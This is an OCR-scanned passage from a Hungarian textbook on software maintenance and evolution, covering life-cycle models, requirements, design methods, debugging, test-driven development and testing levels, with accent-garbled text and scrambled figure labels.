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BEVEZETLES

Amiodta komplex szoftverrendszerek épiilnek be szinte lathatatlanul a mindennapjainkba,
azota sziikségszerli e rendszerek feliigyelése, ellendrzése és karbantartasa. Ilyen ,,lathatatlan”,
mar-mar nélkiilozhetetlen szoftverrendszer a hétkoznapokban példaul egy bank elektronikus
rendszere. Amikor megérkezik a fizetésiink a bakszamlankra, mi csak egy SMS-t kapunk, ¢és
latjuk, hogy az 6sszeg sikeresen megérkezett a szamlankra, és egy pillanatra sem fordul meg a
fejlinkben, hogy milyen moédon tortént mindez, természetesnek vessziik. Valdjaban egy olyan
komplex, Osszetett rendszeren futott keresztiil j6 néhany titkositott adat, amely rendszer
kodsordnak szama tobb millidra rag, és olyan primszam alapu titkositast (RSA) hasznal,
amely megfejtése a legmodernebb szamitogépekkel is tobb szaz évbe keriilne, és akkor még
csak meg sem emlitettiik a ,,hattérben” megbjo adatbazis elemeit, zarolasait, tranzakcioit.
Ezek egy ,.kis” banknal is tobb terabdjt tarolt adatot jelentenek.

Az ilyen komplex rendszerek megkovetelik a naprakészséget (mar-mar a percre vagy
masodpercre készséget), a futds kozben felmeriild hibdk azonnali javitasat, az allando
feligyeletet, a folyamatos fejlesztéseket. Komoly problémat okozna, ha példaul egy bank
szoftverrendszere 15-20 éves kodolast haszndlna, amit a mai szamitégépek percek alatt
feltornek.

A folyamatos technikai fejlédéssel, ) szemléletmodokkal, ) nyelvekkel egy valamire vald
szoftver fel kell, hogy tudja venni a versenyt (egy bizonyos ideig), mivel a karbantartasa soran
tigyelnek arra, hogy a rendszer naprakész ¢€s a legtjabb trendeknek megfeleld legyen. Egy
szoftver ,,¢lete” soran a legnagyobb koltséget nem annak fejlesztése, tesztelése, belizemelése,
hanem a — j6 esetben hosszl éveken keresztiili — karbantartasa emészti fel. A karbantartas
koltsége akar a fejlesztés koltségeinek tobbszorose is lehet, de sokkal kisebb kihivas, viszont
hosszabb folyamat, mint egy eredeti szoftver kifejlesztése. Altaldban 80% - 20% aranyban
szoktak becslilni a karbantartdsra - fejlesztésre forditott koltséget. A megkiilonboztetés a
szoftver karbantartdsa és fejlesztése kozott egyre inkabb elmosoddik, hiszen szinte nincs is
olyan szoftverrendszer, amit teljesen ,,nullar6l” kezdenek el fejleszteni.
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SZOFTVEREVOLUCIO

Egy szoftver a sziikségességének felmeriilésétdl kezdve, a tervezésén, implementdlasan
keresztiil egészen a megsziinéséig kiilonbozd fazisokon megy keresztiil. Ezeket a fazisokat
szokas ¢életciklusnak nevezni. Egy szoftver kialakul, azaz megsziletik, majd egy ideig
alkalmazzak, azutan kivonjak a forgalombol, vagyis meghal. Ezért joggal beszélhetiink
szoftver életciklusrol, mely magéval vonja az evolucio jelenlétét.

A szoftver ¢lete annak ,megsziiletésétol” (az Otlet kialakuldsa, kovetelmények
meghatdrozasa), az egyéb tervezési, fejlesztési, tesztelési vagy karbantartasi feladatokon at
egészen annak ,,halalaig” tart. Altalaban a ,,halalat” jelenti egy szoftvernek, ha 1j rendszer 4ll
a helyébe. Tulajdonképpen akkor ,.hal meg” végleg, ha mar nem hasznaljak.

Az 1d6 eldrehaladtaval a szoftver korosodik, hidba a rendszeres karbantartas. Ez a folyamat
elkeriilhetetlen, mivel a folyamatos technoldgiai fejlédések nyomon kovetése, folytonos
integracidja a rendszerbe lehetetlen feladat.

A szoftver els6 prototipusa rendelkezik egy bizonyos mennyiségli hibaval (nyilvan kezdetben
nagyon sok hibat tartalmaz). Az id6 elteltével e hibaszdm csokken a folyamatos javitdsoknak
koszonhetden. Ez egy idedlis modell esetén azt jelentené, hogy a szoftveriink hibainak szama
szigoriuan monoton csokken az id6 fliggvényében. A valosag viszont eltér ettdl a mintatol.
Egy bizonyos idd elteltével a szoftveriinkbe megkdveteliink 0j tulajdonsagokat, elemeket,
vagy épp csak mddositani szeretnénk egy aktualis vagy frissebb elvaras alapjan a rendszer egy
részét, ezért modositunk a koédon, igy akarva akaratlanul hibdk keriilnek bele. Emiatt a
rendszer egészét tekintve a hibak szdma nem csdkken, hanem né.

Hibaszam
megndvekedése a
A valtoztatas miatt \4

Valtozas Valos gorbe

Idealis gorbe

»
>

1d6

1. abra. A hibak szamanak alakuldsa egy szoftver élete soran

Ahogy az 1. abra is mutatja, a rendszeriink az id6 elteltével egyre tobb hibat tartalmaz. A
szoftver haldla az az id6pont, amikor elériink arra a pontra, amikor mar jobban megéri egy Uj
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8 SZOFTVERKARBANTARTAS

rendszert késziteniink, mint a meglévot ,,foltozgatni”. Az 0j rendszer elkészitésével egy Uj
szoftver ¢életciklusa veszi kezdetét. A szoftver megsziinésével lesz teljes egy szoftver
¢letciklus.

A szoftverevollcio fogalma ettdl a ponttdl nyer értelmet. Ugyanis egy 0j szoftver tervezése
soran az el6z6 verziok alapvetd hibdit, hidnyossagait mar a tervezés soran ismerik, ezért a
megvalositas sordn ezeket a hibakat (jo esetben) nem kovetik el még egyszer. Ez lehetdséget
ad arra, hogy a szoftverrendszer kovetkezd generacidja mar sokkal kevesebb kiindulasi hibat
tartalmazzon elddeinél. Az idedlis eset persze az lenne, hogy x darab szoftver elkészitése utan,
az 1j, kovetkezd generacids szoftver mar egy hibat sem tartalmaz. Természetesen a
valosagban ez nem igy zajlik, hiszen egyre tobb az ismert hiba (illetve hibalehetdség) a
szoftverek evolucidja soran, de minden esetben ijabb, még el nem kovetett hibak meriilnek
fel a szoftverfejlesztésében. A célunk természetesen az, hogy a kdvetkezd szoftver mar sokkal
kevesebb hibat tartalmazzon. A 0 hibaszdmot nem érhetjiik el, de egyre csokkend
hibaszammal dolgozhatunk tovabb. Egy ,helloworld” program tokéletes megirdsa
természetesen nem okoz gondot, de egy komplex rendszert sohasem lesziink képesek
tokéletesen hibamentesre irni, nem vagyunk képesek minden lehetdséggel szamolni, minden
specialis esetet lekezelni. Nagyon sok olyan tényezd van, amely nem a program megirasatol
fiigg, és sok olyan, amely bekovetkezése esetén sem vagyunk képesek a szoftveren beliil
megoldani a problémat (példaul aramsziinet, amikor a futtatdé szerverek leallnak).
Természetesen ezek csak nagy, komplex rendszerekre igazak. A tokéletesség helyett a lehetd
legjobb megoldast keressiik, minimalis hibaszammal.

Sok esetben nem a felmeriild hibdk szama miatt ,,hal meg” egy szoftver, hanem azért, mert
nem képes példaul mas, specifikus céloknak is megfelelni vagy 1j iranyzattal megkozeliteni a
feladatot. Ebben az esetben is rengeteget tanulhatunk az el6zd szoftver hibaibol — melyek
nagy része a karbantartas ideje alatt meriilt fel, és amelyekbdl egy jo fejlesztd csapat képes
levonni azokat a konklizidkat, melyekkel jobb mindségii, biztonsagosabb és gyorsabb
szoftver készithetd az elédeinél.

Modellek

A szoftver ¢életciklusa, evolucidja nagyban fiigg a fejlesztés soran hasznalt modelltdl. Az
¢letciklus fobb 1épéseit a legjellemzdébben az ugynevezett vizesés modell targyalja, ami tobb,
¢lesen elkiilonithetd €s egymasra €piild 1épést hataroz meg. Egy szoftver €lete viszont gyakran
nem jellemezhetd ilyen egyszerlien, ezért szamos mads ¢€letciklus modellt is kidolgoztak. A
kovetkezOkben, a vizesés modellt kovetden, néhany elterjedt modellt vizsgalunk.

Vizesés modell

A vizesés modell 5 1épése jol szemlélteti egy szoftver életciklusat, amelyet a 2. abra mutat be.
Mindemellett szamos mas modell is 1étezik, mint azt a kdvetkezdkben targyaljuk is.
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SZOFTVEREVOLUCIO 9

Kovetelménvek —l

A
Tervezés
A

Implementacid _l

Tesztelés
)

__________ “-1  Karbantartas

R i R

2. dbra. Vizesés modell

A szoftver ,,megsziiletése”, kialakuldsa a kovetelmények specifikalasa, a tervezés ¢és az
implementaciéo nevii 1épcsdket foglalja magaban. A tesztelés és a karbantartds mar a
megsziiletett, ,,€10 szoftver” 1épcsdi, az €letének a kovetkezd szakasza. A szoftver ,halala”, a
vizesés modellben nem szerepel, jogosan, hiszen a modell csak a szoftver életén at vezetd utat
foglalja magaban.

Evolucios fejlesztés

Ezeknél a modelleknél az alapdtlet az, hogy ki kell fejleszteni egy kezdeti implementaciot, azt
a felhasznalokkal véleményeztetni, majd sok-sok verzion keresztiil addig finomitani, amig a
megfeleld rendszert el nem érjiik. Jobban megvalodsitja a parhuzamossagot és a gyors
visszacsatolast a tevékenységek kozott. Ezen modellek koziil az egyik az un. Rapid
Application Development (RAD). Ezt a szoftverfejlesztési folyamatot eredetileg James
Martin fejlesztette ki az 1980-as években. A mddszertan elemei: ciklikus fejlesztés, miikkodo
prototipusok 1étrehozésa, és a szoftverfejlesztést tamogatd szamitdégépes programok, példaul
integralt fejleszt6i kornyezetek hasznalata.

A modszer Iényege, hogy szinte azonnal, a kdvetelmények durva specifikdladsa utan egybdl
elkésziil egy prototipus, amely nem sziikségszeriien valdsitja meg az 0sszes kovetelményt, de
torekszik ra, majd a kovetelményeket ujraspecifikalva, részletezve, elkésziil egy kovetkezd
prototipus. Ezeket a gyors ,,koroket” addig ismételgetik, amig el nem érik a célt, azaz el nem
késziil az a szoftver, amely teljes mértékben kielégiti a kovetelményeket.

Ez a modszer nagyban torzitja a kialakul6 szoftver életciklusat. Ebben az esetben nem is lehet
nagyon egy szoftver életciklusrdl beszélni, inkabb szoftverek ¢€letciklusarol van szo. A gyors
koroknek koszonhetden szinte azonnal elkésziil egy miikodd prototipus, hidnyossagokkal bar,
de ez az ara a gyorsasagnak. Ez mar a szoftver sziiletésének idejét is nagyban lerdviditi, de
ennek a szoftvernek a halalat is jelenti az elkésziilte. Ugyanis ha egy prototipus elkésziil,
bemutatjak, és ujradefinidljak a kovetelményeket, ami sok esetben azt jelenti, hogy nem
valtozason esik at az el6z6 program, hanem inkabb ujat irnak az el6z6bél tanulva. gy maga a
végleges szoftver kialakuldsa tobb szoftver egylittes evolucioja, ahol sok ,.kis” prototipus
szliletik meg, majd tlinik el annak érdekében, hogy a célszoftver minél tokéletesebb legyen.
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Inkrementdlis fejlesztés

A vizesésmodell megkoveteli, hogy véglegesitsiikk az egyes fazisokat miel6tt a kdvetkezd
fazisba belekezdiink. A fazisok elkiilonitése miatt egyszerien menedzselhetd, de nem elég
rugalmas a valtoztatdsokra. A RAD modell megengedi, hogy elhalasszuk a kovetelményekkel
és a tervezésekkel kapcsolatos dontéseket, de ez gyengén strukturdlt és nehezen
karbantarthat6 rendszerekhez vezethet. Az inkrementélis fejlesztési megkdzelités a két
modszer elényeit igyekszik kombinalni. Ebben az esetben kisebb részfeladatokra, iigynevezett
inkremensekre bontjuk a megoldandd problémat, majd ezeket az inkremenseket egyenként
kifejlesztjiik az egyes iteraciok soran. A rendszer részben miikodoképes lehet mar néhany
inkremens megvalositdsa utdn, és az iterdciok miatt lehetéség van visszacsatolasra, mint az
evolucids fejlesztés esetén.

Az Extreme programming (XP) az inkrementélis megkozelités legijabb valtozata. Nagyon kis
funkcionalitassal rendelkez6 inkremensek fejlesztésén és leszallitasan alapul. Ez a fejlesztési
modell az USA-bdl kiindulva terjedt el és a kisebb fejlesztd csapatok szdmara dolgoztak ki.
Az XP egy olyan rugalmas programozasi technika, amely kisebb ismétlodd Iépésekben
(iteraciokban), gyakori visszacsatolasok és a vevdvel vald intenziv kommunikacidé révén
célzottan tesz eleget a megrendeld igényeinek. Az XP azon a megfigyelésen alapul, hogy egy
szoftver megvaltoztatasanak a koltségei egyszerli eljarasmodokkal jelentésen csdkkenthetok.
A modszert Kent Beck, Ward Cunningham és Ron Jeffries alakitotta ki. Egy a Chrysler
szamara végzett programozasi feladat, az un. C3 projekt soran alkalmaztdk, mely 1993 és
2000 kozott folyt (Kent Beck 1993-ban keriilt vezetd pozicidba a C3 projektben, késdbb
kiadott egy konyvet az XP-r6l 1999 oktoberében). A projekt altal létrehozott programot a
bérszamfejtés terliletén hasznaltdk. Az XP négy kozponti értéket fogalmaz meg, amelyek a
kovetkezOk: kommunikacid, visszacsatolds, merészség és egyszeriiség.

Kezdetben a feladat olyan mértékig és olyan részletességgel keriil megfogalmazésra, hogy az
alapjan a fejlesztocsapat fel tudja vazolni a fejlesztés menetét, €s el tudja kezdeni a munkat. A
tovabbiakban a fejlesztdcsapat és a megrendeld kozotti folyamatos kommunikécio révén az
egyes iteraciok végén keriil meghatdrozasra az, hogy hogyan menjen tovabb a fejlesztés,
egészen addig, amig el nem késziil a kész alkalmazas. Altalaban annyira ,.extrém” a
programozas maga, hogy két fejleszto il egy gépnél.

Ez a technika ,torzitja” a kordbban emlitett életciklust. Mivel a szoftver mar szinte az elsd
pillanattél létezik, ezért a megsziiletése (amely a vizesés modellben a kovetelmények,
tervezés, implementalas folyamata) a lehetd legrévidebb folyamat. A szoftver kialakuldsa
utdn a fejlodésének folyamata veszi kezdetét, ami nagyon gyors és kis 1épésekben zajlik.
Tulajdonképpen a szoftver fejlédése a megsziiletésétdl kezdve hatalmas tempoban indul meg,
amely késObb lecseng, mert a fejlesztés sordn eldszor a fontosabb elemeket épitik be, példaul
Uj funkcidkat, vagy a meglévd prototipus funkciokat fejlesztik tovabb. Ez gyors iitemben
torténik, késdbb mar csak a finomhangolés marad hatra, amikor is aprébb valtozasokon esik at
a szoftver. Ezért ebben a modellben a szoftver fejlédésén van a hangsuly, olyannyira, hogy
konnyen lehet, hogy a végleges alkalmazas szinte semmiben sem hasonlit a kiindulasi
rendszerre.

A szoftverfejlesztési folyamatok alapveto 1épései

A kiilonboz6 szoftverfejlesztési folyamatok kiilonbozd 1€pésekben, eltérd idéraforditassal,
eltérd iranyzatokkal kozelitik meg ugyanazt a célt, mégpedig, hogy a kovetelményeknek
megfeleld, jol mikodd, a kitlizott célt elérd szoftverrendszert hozzanak létre. Mégis, a
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kiilonbségek ellenére sok 1épésben megegyeznek. Az 6sszes modellben altalanosan eléforduld
1épéseket a kovetkezdkben részletesebben targyaljuk.

1. Megvaldsithato- 2. Kovetelmények
sagi vizsgalat feltarasa és elemzése
- ~
| 3. Kovetelmények
Y | specifikécidja
Megvalosithatosagi ~ g
ielentés ( i ,
J 4 4. Kovetelmények
Rendszermodellek i validalasa
N\
v

Felhasznaloi és
rendszer-
kovetelmenvek

A

y| Kovetelmenyek
dokumentumai

3. dbra. A kovetelménytervezés folyamata

Szoftverspecifikacio (kovetelménytervezés)

El6szor meghatarozzuk, hogy milyen szolgaltatasokat kell nytjtania a rendszeriinknek, illetve
hogy a rendszer fejlesztésének ¢és milkddtetésének milyen megszoritasait alkalmazzuk. A
folyamat soran eldall a kovetelménydokumentum, vagyis a rendszer specifikacigja. A
kovetelménytervezés folyamatat a 3. dbra mutatja be.

Altalaban a kovetelmények két szinten keriilnek leirasra. A megrendelének magasabb szintii
leiras késziil, mig a fejlesztdknek részletesebb specifikacio.

A kovetelmények tervezésének 4 fazisat kiilonboztetjiik meg. Ezek a kovetkezok:

e Megvaldsithatésagi vizsgalat: Annak vizsgalata, hogy a felhasznalok kivansagai
kielégithetOk-e az adott szoftver- és hardvertechnologia mellett.

o Kovetelmények feltarasa és elemzése: Ez a fazis a rendszerkdvetelmények meglévd
rendszereken torténd megfigyelésén, a potencidlis felhasznalokkal folytatott
megbeszéléseken és a feladatelemzésen alapul. Tobb kiilonb6zd rendszermodell,
illetve prototipus kifejlesztését is magaban foglalhatja annak érdekében, hogy a
rendszert jobban megértsék a fejlesztok.

e Kovetelmények specifikiacidoja: Az elemzési tevékenységekbdl Osszegylijtott
informaciok dokumentumba szervezése. Ez alapvetden két szinten torténik. A
felhasznaloi kovetelmények a rendszerkdvetelmények absztrakt leirasat tartalmazzak,
melyek a megrendeloknek szdélnak. A rendszerkdvetelmények pedig jobban részletezik
az elkészitend6 rendszer funkciodit, amely a fejlesztéknek szol.

e Kovetelmények validacioja: Ellendrzi, hogy mennyire kovetkezetesek és teljesek a
kovetelmények. Feltarja a kovetelmények dokumentumaiban fellelhetd hibakat.
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Fontos megemliteniink, hogy a felsorolt fazisok nem szigortian egymas utan kovetkeznek, a
sorrend tetszOleges lehet.

Kovetelmények Architektara Rendszer-
specifikacioja tervezes architekttra
f Tervezési
Absztrakt qu tve,:r-‘ ’ eredmények
spec1ﬁkac10 specifikaciod
\A /
Interfész Interfész
tervezes specifikacio
Tervezési
tevékenységek Komponens Komponens
tervezés specifikaciod
AW
Adatszerkezet Adatstruktura
tervezés specifikacio
AW
Algoritmus Algoritmus
tervezés specifikacio

4. abra. A tervezési folyamat tevékenységei

Szoftvertervezés és implementdcio

Ez a folyamat a rendszerspecifikaci6 futtathatd rendszerré torténd konvertdlasa. A
szoftvertervezést €s a programozast mindenképpen magaban foglalja, illetve bizonyos
esetekben tartalmazhatja a specifikacié finomitasat is. A szoftver tervezése magaban foglalja
a szoftver struktirajanak és az adatoknak a meghatarozésat, valamint a komponensek kozotti
interfészek ¢€s néha a hasznalt algoritmusok megadasat is. A tervezés is iterativ modon
torténik tobb verzion keresztiil. A tervezési folyamat szdmos kiilonféle absztrakcios szinten
1évo rendszermodell kifejlesztését is tartalmazhatja, és a tervezési folyamat szakaszai
atfedhetik egymast. Ezt a folyamatot a 4. dbra szemlélteti.

A tervezési folyamat tevékenységei:

e Architektira tervezés: A rendszert felépitd alrendszereket és a koztiikk taldlhato
kapcsolatokat azonositani és dokumentalni kell.

o Absztrakt specifikécié' Minden egyes alrendszer esetén meg kell adni a
mellett azok miikddnek.

o Interfész tervezés: Minden egyes alrendszer szamara meg kell tervezni ¢és
dokumentélni annak egyéb alrendszerek fel¢é mutatott interfészeit. Az interfésznek
egyértelmiinek kell lennie, vagyis anélkiil kell tudnunk hasznalni az adott alrendszert,
hogy tudnank, hogyan miikddik.

www.tankonyvtar.hu © Ferenc Rudolf, SzTE




SZOFTVEREVOLUCIO 13

e Komponens tervezés: A szolgaltatasokat el kell helyezni a komponensekben €s meg
kell tervezni a komponensek interfészeit.

o Adatszerkezet tervezés: Meg kell hatdrozni és részletesen meg kell tervezni az
implementéacioban hasznaland6 adatszerkezeteket.

Az utolso két fazist gyakran az implementacié részeként alkalmazzak.
Tervezési modszerek

Egy rendszer terve altalaban egy koztes reprezentacioban keriil definidlasra, amely elég
részletes ahhoz, hogy a fejlesztoknek pontos leirdst adjon. Mindamellett elég magas szintii
ahhoz, hogy egy atlag felhasznald is megértse a rendszer mikodését. Ezek a modellek a
természetes nyelvben leirt adatok, elvarasok alapjan altalaban egy diagramban egy grafikai
alakban keriilnek pontos definidlasra, annak érdekében, hogy egy modositas végrehajtasa a
legkisebb erdraforditdssal jarjon, ugyanis egy diagramot gyorsabban lehet atszervezni,
modositani, mint egy szoveges leirast, gyorsabban torténhet a rendszer teljes egészének
atstrukturalasa is. Ezen tervezési modszerek egyik nagy elénye, hogy sok eszkoz 1étezik,
amely egy ilyen elére definialt diagram tipusnak megfelelé leirasabdl, azaz a rendszeriink
tervébol képes kigeneralni a rendszeriink vazat.

Az ilyen modellekbdl tobb kiilonbozé tipus 1étezik, amelyet kiilon-kiilon definidltak aszerint,
hogy a rendszeriinket milyen megkdzelitésbdl, milyen szemszogbdl modellezi. Minden
tipusnak sajat, egyedi nyelvezete, szerkezete van. Ezek a tipusok a kdvetkezok:

e Adatfolyam-modell: Az adatfolyam modell célja, hogy a rendszerrdl atfogd képet
nyujtson, egyiitt dbrazolva a rendszer folyamatait és adatait. (Még a konkrét, fizikai
anyagmozgasok is belekeriilnek a diagramba, ugyanugy ahogy példaul egy adat
bekérés, mentés is.) Az adatfolyam-modell a kdvetkezd elemek definialasabol épiil fel:

o Kontextus abra

o Adatfolyam-abrék (hierarchikus halmaz)

o FElemi folyamatok leirasa

o Kiils6 egyedek leirasa

o Bemenet/kimenet leirasok

e Egyed-kapcsolat modell: Az alapvetd egyedek ¢és a koztiik 1évd kapcsolatok leirasara
szolgal. Féként adatbazis szerkezetek leirasara hasznaljak. Altalaban két fazisbol all:

o Egyed-kapcsolat diagram definidldas: Ez egy szemléletes abrazolasa az
adatbazis elemeinek. Az egyedek, az attribatumok ¢és a kapcsolatok
definidlasaval torténik az egyed-kapcsolat diagram definialasa.

o Relaciés adatbazisséma készités: Ez egy implementacido-kozeli leirdsa az
adatbazisnak. Altaldban az egyed-kapcsolat diagram alapjan késziil a relacios
séma, amelyet normalizalnak.

e Strukturdlt modell: A rendszer komponenseit és a koztik 1évé kolcsonhatasokat
dokumentélja. Egy ilyen strukturalt modell az SSADM (Structured Systems Analysis
and Design Method — Strukturalt Rendszerelemzési és Tervezési Modszertan). Az
SSADM a teljes rendszer tervezési és elemzési folyamatat tobb részre felosztva és
kiilon targyalva ad lehetdséget a modellezésre

e Objektumorientalt modell: A rendszer 6roklédési modelljét tartalmazza, modellezi az
objektumok kozotti statikus és dinamikus kapcsolatokat. Modellezheti az objektumok
egylittmiikodését, allapotait, stb. Az UML (Unified Modelling Language — Egységesitett
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Modellez6é Nyelv) segiti az objektum orientalt modellezést a sajat objektum orientalt
diagramjaival. Ilyen diagram példaul az Osztaly és Objektumdiagram.

Napjainkban egyre nagyobb teret nyer a rendszertervezés teriiletén a modell vezérelt fejlesztés
(MDD). Ennek alapja, hogy a tervezOmérnokok eldszor egy platform fiiggetlen modellt (PIM)
készitenek el, mely a rendszer funkcionalitdsat irja le. Ezt kdvetden ehhez a hordozhato,
ujrafelhasznilhatd ¢és konnyen modosithatd modellhez implementacidos részletek
hozzdadasaval automatikusan szarmaztatjdk a platform specifikus modellt (PSM). Ebbdl
legvégiil automatikus kodgeneralassal kapjak meg a megvaldsitandd rendszert és a hozza
kapcsolodo anyagokat (dokumentécio, konfiguracios leirok, stb.).

Programozas és nyomkovetés

A programozas, azaz az implementacié soran kezd a rendszer ,,alakot 6lteni”. Természetesen
nem elsore kapjuk meg a teljes és minden elvarasunknak eleget tevo hibatlan rendszert. Sok
fejlesztésen, tesztelésen, javitason kell atesnie, mieldtt végleges stadiumat elérné. A fejlesztés
hosszas folyamata kdzben a felmertilt hibak gyors és pontos javitasa nagyban segiti a rendszer
mindségbeli elvarasainak a kielégitését.

Hiba Hibajavitas Hiba Program
behatarolasa tervezése kijavitasa ujratesztelés

5. abra. A hiba javitasanak menete

Eléfordulhatnak olyan fejlesztési folyamatok (amiket mar kordbban targyaltunk), amelyekben
a tervezés ¢s a fejlesztés folyamata nem kiilonalld, szigorian egymas utan végrehajthato
miiveletek, hanem egymassal nagyon szorosan, szinte egyszerre haladé folyamatok (példaul a
RAD). A hibdk szamanak csokkentésének a legtermészetesebb modja az, ha ezeket a hibakat
el sem kovetjiikk. Ennek eléréséhez a legfontosabb a megfeleld tervezés. A tervezés soran
elkdvetett hibak nagyon sulyosak, implementacidé utdn javitasuk mar igen koltséges. A
megfeleld tervezés mellett fontos az is, hogy a lehetd legtobb kodot generaltassuk olyan
eszkozokkel, amik bizonyitottan nem kdvetnek el hibat. Szamos eszkoz 1étezik, amely az
el6z6 fejezetben targyalt folyamatban, azaz a tervezési fazisban eldallitott eredményekbdl
(diagramokbol) legenerdlja a program vazat. Az ilyen megoldasokkal nem csak iddt
sporolhatunk, de a generdlt kod bizonyosan hibatlan, legaldbbis a megadott tervezési
modellnek mindenképpen megfelel. A tesztelés meghatdrozza, hogy vannak-e hibdk, a
behatérolas pedig, hogy hol taldlhatok meg, hogyan javithatok. Ezt a folyamatot az 5. dbra
szemlélteti. A behatarolas soran hipotéziseket kell generalni a program viselkedésére, majd
ezeket kell tesztelni, hogy megtaldljuk a kimeneti anomalidkat okoz6 hibakat. Azok az
interaktiv behatarolé eszk6zok, amelyek megmutatjak a program értékeit futas kozben, nagy
segitségiinkre lehetnek ebben a folyamatban. Ilyen eszk6zok mar a fejleszté kornyezetbe
integralva is léteznek, jo példa erre a Java kornyezetek koziil példaul az Eclipse
(http://www.eclipse.org/), amely széleskorli debuggolasi lehetdségeket biztosit.

Egy masik nagy eldnyt biztositd eszkdz a fejlesztd kornyezetekbe épitett statikus forraskod
elemz0, amely még futas el6tt a lehetd legtobb hibat a tudtunkra adja, hogy képesek legylink
gyorsan behatdrolni és javitani azt. [lyenre példa a PMD eszkoz (http://pmd.sourceforge.net/),
amely az Eclipse ala épiil be.
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Szamos teriilet megkoveteli, hogy a rendszer a lehetd legbiztonsagosabb miikddést
produkalja, ilyen teriilet példaul az trkutatas, ahol egy szoftverhiba is végzetes
kovetkezményeket okozhat. Az ilyen rendszerek elkészitése soran szokas formalis leirdsokat
alkalmazd modszereket haszndlni a fejlesztés soran. Ezek a Correct-by-Construction
modszerek, amelyek lényege, hogy mar a tervezés soran olyan rendszertervet allit elo,
amelyben matematikailag bizonyitottan nem léteznek hibak. Ilyen példaul a B-moddszer,
amely egy B nyelvre épiilé folyamat, mely garantaltan a kritériumoknak megfeleld modellt
allit elé (B nyelv alapu modellt), amelybdl mar képesek vagyunk barmilyen (de altaldban C)
nyelvi kodot késziteni.

Fontos még megemliteni a teszt-vezérelt fejlesztési folyamatokat is. A teszt-vezérelt fejlesztés
egy szoftverfejlesztési technika, ami eldre megirt tesztekkel befolyasolja a kod alakuldsat. Ezt
a technikat piros-zold faktornak (red-green factor), illetve "tesztelj kicsit, kodolj kicsit"
modszernek is hivjak. A fejlesztés végén a kdd at fog menni a teszten, ami azt jelenti, hogy a
kod irdsa kozben meghatarozott szamu teszten keresztiil kellett menni, tehét a tesztek jelolték
ki az utat, amelyek elore adottak. A teszt-vezérelt fejlesztés legfontosabb alapeleme, hogy a
tesztek eldre definialtak, és altaladban képesek vagyunk azokat automatikusan futtatni a
rendszeren. Az elkésziilt rendszer minden eldre definialt teszten atmegy, ezt ugy érjik el,
hogy a kovetkezd 1épéseket alkalmazzuk a fejlesztés soran. Kivalasztunk egy tesztesetet, majd
fordithatova tessziik a kodunkat. A teszt futtatdsa bukdst fog eredményezni (piros), ezutan
megirjuk a koédot, éppen csak annyira, hogy atmenjen a teszten. A tesztet futtatva at kell
mennie, tehat a teszt sikeres. Zoldet kapunk (piros-zold faktor). Néhany esetben itt még
javitunk a kodon (a teszten és a forraskodon is). Ezek utdn egy kovetkezd tesztesettel
folytatjuk tovabb mindaddig, amig mindegyik teszten 4t nem megy. Ezt a mddszert kovetve
biztosan alaposan tesztelt rendszert készitiink.

A hibak javitdsa mellett fontos a rendszerliink nyomon kovetése is annak érdekében, hogy
tisztaban legyiink azzal, hogy rendszeriink a megfeleld irdnyba fejlédik-e (mind a hibak
szamat, mind a tulajdonsagait illetéen). Erre a nyomkdvetésre altalaban egy verziokoveto
rendszert alkalmaznak, amely egy kozponti repository-ba gytijti az adatokat (4ltalaban a
forraskodot €s minden ahhoz kapcsol6do elemet) €s a kiilonbozé valtozasokat idéponthoz és
felhasznalohoz kapcsolva tarolja. Ennek hatdsara kinyerhetjiik a legfrissebb tarolt elemet is,
de képesek vagyunk egy 2 honappal ezelbtti verziot is konnyedén kinyerni beldle. Ilyen
verziokdvetdk példaul a Subversion (SVN), CVS, ClearCase, stb. A verziokovetd rendszerek
mellett szamos egyéb eszkoz all rendelkezésiinkre a projektek menedzseléséhez, példaul:
hibakovetd rendszerek, litemezést tAmogato rendszerek, egylittmitkddést segitd eszkdzok, stb.

Szoftver validacio

A verifikaci6 és validacio (V & V) azzal foglalkozik, hogy megmutassa a rendszer konform-e

crer

crer

abra szemlélteti.
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6. dbra. A tesztelési folyamat

Egység teszt: Az egyedi komponenseket a tobbitdl fiiggetleniil kell tesztelni, és
biztositani kell, hogy tokéletesen miikodjenek.

Modul teszt: A modul egymastdl fliggé komponensek gyiijteménye, a modulokat is
egymastodl fliggetlentil tudjuk tesztelni.

Alrendszer teszt: Az alrendszereket alkoté modulok tesztjei. Ez a tesztelési folyamat
a modulok interfészhibaira koncentral (alrendszer integracids teszt), mivel a legtobb
probléma az interfészek hibas illeszkedéseibdl szarmazik.

Rendszer teszt: Ez a fazis az alrendszerek és interfészeik kozotti eldre nem vart
kolesonhatasokbol adodd hibdk megtalalasaval foglalkozik (rendszerintegracios
teszt), valamint érinti a validacidt is, vagyis, hogy a rendszer eleget tesz-e a
funkcionalis és nem funkcionalis kovetelményeknek.

Atvételi teszt (Alfa tesztelés): A megrendeld adataival tesztelik a rendszert, nem
tesztadatokkal. Ezaltal olyan hibdkra deriilhet fény, amelyekhez csak a valos adatokkal
vald vizsgalat vezethet. Itt deriilhet fény olyan problémdékra is, hogy a rendszer
tulajdonsagai nem felelnek meg a felhaszndlo elvardsainak. Addig kell folytatni a
tesztelést, amig a megrendeld és a fejlesztd egyet nem ért abban, hogy a rendszer
megfeleld implementacidja a rendszerkdvetelményeknek.

Béta tesztelés: Akkor alkalmazzuk, amikor nem egyedi igények alapjan készitett
szoftvert dobunk piacra. A béta tesztelés magéban foglalja a rendszer szamos
potencidlis felhasznalojahoz torténd leszallitdsat, akikkel megegyezés tortént a
rendszer hasznalatara. Ok jelentik a rendszerrel kapcsolatos problémaikat a
rendszerfejlesztoknek. gy a valodi hasznalat soran fellelheté hibak is beazonositésra
kertilnek.

A tesztelés elvégzése alapvetden két modon torténhet:

White-box tesztelés: fehér doboz (livegdoboz) vagy struktira tesztelés. A tesztelés a
struktira ¢és implementdcié ismeretében torténik kis egységekre. A cél olyan
teszthalmaz készitése, hogy minden utasitas legalabb egyszer végre legyen hajtva.
Black-box tesztelés: fekete doboz, vagy funkcionalis tesztelés, (al)rendszer
viselkedése csak a bemenetei és kimenetei vizsgalataval. Kulcsprobléma: olyan
inputok generaldsa, amelyek hibas outputot generalnak.
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Az egység- és modulteszt leggyakrabban a komponenst fejlesztd programozo feladata. A
tesztelés késObbi szakaszain tesztelok fliggetlen csoportja dolgozhat teszttervek alapjan.
Miutan az alkalmazhat6 teszt tipusokat részleteztiik, essen szo6 arr6l, hogy ezeket a tipusokat a
fejlesztés mely fazisaiban lehet alkalmazni.
A 7. abra bemutatja, hogy a rendszer fejlesztésének mely fazisaiban lehet a kiilonb6z6

terveket alkalmazni.

Rendszer-
tervezés

Részletes
tervezés

-\

